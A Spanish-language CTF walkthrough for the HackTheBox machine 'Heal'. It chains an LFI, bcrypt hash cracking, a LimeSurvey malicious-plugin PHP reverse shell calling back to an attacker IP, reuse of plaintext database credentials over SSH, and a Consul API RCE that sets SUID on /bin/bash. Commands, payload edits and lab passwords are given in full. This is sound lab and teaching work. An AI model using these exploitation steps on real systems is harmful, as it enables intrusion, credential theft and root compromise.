Heal

OS: Linux
Dificultad: Medio
Puntos: 30
Nmap Scan
ports=$(nmap -p- --min-rate=5000 -T4 10.10.11.46 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p $ports -sC -sV 10.10.11.46Nmap scan report for heal.htb (10.10.11.46)
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Heal
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEnumeracion
La maquina tiene el dominio heal.htb y el puerto 80. La aplicacion web solo muestra un formulario de inicio de sesion y registro.

Una vez registrados podemos acceder a la pagina. Enumerando la pagina identificamos 2 nuevos subdominios.
api.heal.htb
take-survey.heal.htb
Local File Inclusion
Utilizando la funcion de Export as PDF vemos la siguiente url:
http://api.heal.htb/download?filename=762102ef9e6ae1c60bac.pdfEl parametro filename es vulnerable a LFI lo que nos permite leer archivos locales del servidor.

Enumerando procesos identificamos un archivo SQLite que contiene el hash del usuario ralph el cual es administrador.

$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnGCracking Hash
Utilizamos john para crackear el hash.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtUsing default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369 (?)
1g 0:00:00:14 DONE (2025-01-03 11:52) 0.06738g/s 33.96p/s 33.96c/s 33.96C/s teiubesc..claire
Use the "--show" option to display all of the cracked passwords reliably
Session completed.Con las credenciales podemos acceder correctamente al perfil.

Admin Panel LimeSurvey
En el subdominio take-survey.heal.htb descubrimos un panel de administracion con gobuster.
gobuster dir -u http://take-survey.heal.htb/ -w /usr/share/wordlists/dirb/common.txt===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://take-survey.heal.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 162]
/.htaccess (Status: 403) [Size: 162]
/.htpasswd (Status: 403) [Size: 162]
/admin (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/admin/]
/Admin (Status: 302) [Size: 0]La aplicacion nos muestra un formulario de autenticacion. Podemos usar las credenciales que obtuvimos antes para autenticarnos.
ralph : 147258369
LimeSurvey RCE (CVE-2021-44967)
Despues de investigar si hay algun exploit publico encontramos este blog que explica como subir un plugin malicioso.
Utilizaremos los archivos de este repositorio para crear nuestro payload. Primero modificamos el archivo config.xml.
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>doom</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>doom</author>
<version>6.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : doom]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>Del archivo php-rev.php modificamos la IP y el puerto.
$ip = '10.10.14.12'; // CHANGE THIS
$port = 1234; // CHANGE THIS
Ahora generamos nuestro archivo zip.
zip -r doom.zip config.xml php-rev.php adding: config.xml (deflated 55%)
adding: php-rev.php (deflated 61%)Por ultimo subimos nuestro zip en la aplicacion web.

Instalamos el plugin.

Activamos el plugin.

Una vez este activado para acceder a tu plugin es la siguiente ruta. Pero primero ponemos nuestro nc a la escucha.
nc -lvnp 1234curl http://take-survey.heal.htb/upload/plugins/doom/php-rev.phpEsto nos regresara una reverse shell.

Lateral Movement
Dentro de los archivos de configuracion de LimeSurvey encontramos un password.
cat /var/www/limesurvey/application/config/config.php'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',Acceso SSH
Ese password nos sirve para conectarnos con el usuario ron.
ssh ron@heal.htb
Escalada de Privilegios
Los procesos que podemos enumerar hay uno en particular que esta ejecutando el usuario root.
ps auxroot 1875 0.5 2.5 1357476 100764 ? Ssl 15:52 1:10 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1Se esta ejecutando el software Consul internamente y revisando la documentacion nos dice que abre varios puertos.
netstat -putona(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN - off (0.00/0/0)Port Forward
De los puertos abiertos el mas importante es el 8500 al cual le haremos portforwarding.
ssh ron@heal.htb -L 8500:127.0.0.1:8500Ahora podemos acceder al portal web desde nuestra maquina.

Hashicorp Consul v1.0 - RCE
La version que esta ejecutando del servicio es Consul v1.19.2. Investigando exploits publicos hay uno que nos permite obtener RCE por medio de la API.
Utilizaremos el siguiente script para explotar la vulnerabilidad. Para hacer uso del script requerimos varios parametros entre ellos uno importante es el Consul token sin embargo la documentacion menciona que podemos usar Anonymous Token que es equivalente a un 0.
Por lo tanto ejecutamos el script de la siguiente forma.
python consul_rce.py -th 127.0.0.1 -tp 8500 -ct 0 -c 'chmod +s /bin/bash'[+] Check fgvdqntxsgihsbr created successfully
[+] Check fgvdqntxsgihsbr deregistered successfullyEl comando anterior le dara el privilegio SUID al binario bash para permitirnos escalar a root de una forma sencilla.

Referencias
https://ine.com/blog/cve-2021-44967-limesurvey-rce
https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
https://github.com/owalid/consul-rce
https://developer.hashicorp.com/consul/docs/security/acl/tokens#anonymous-token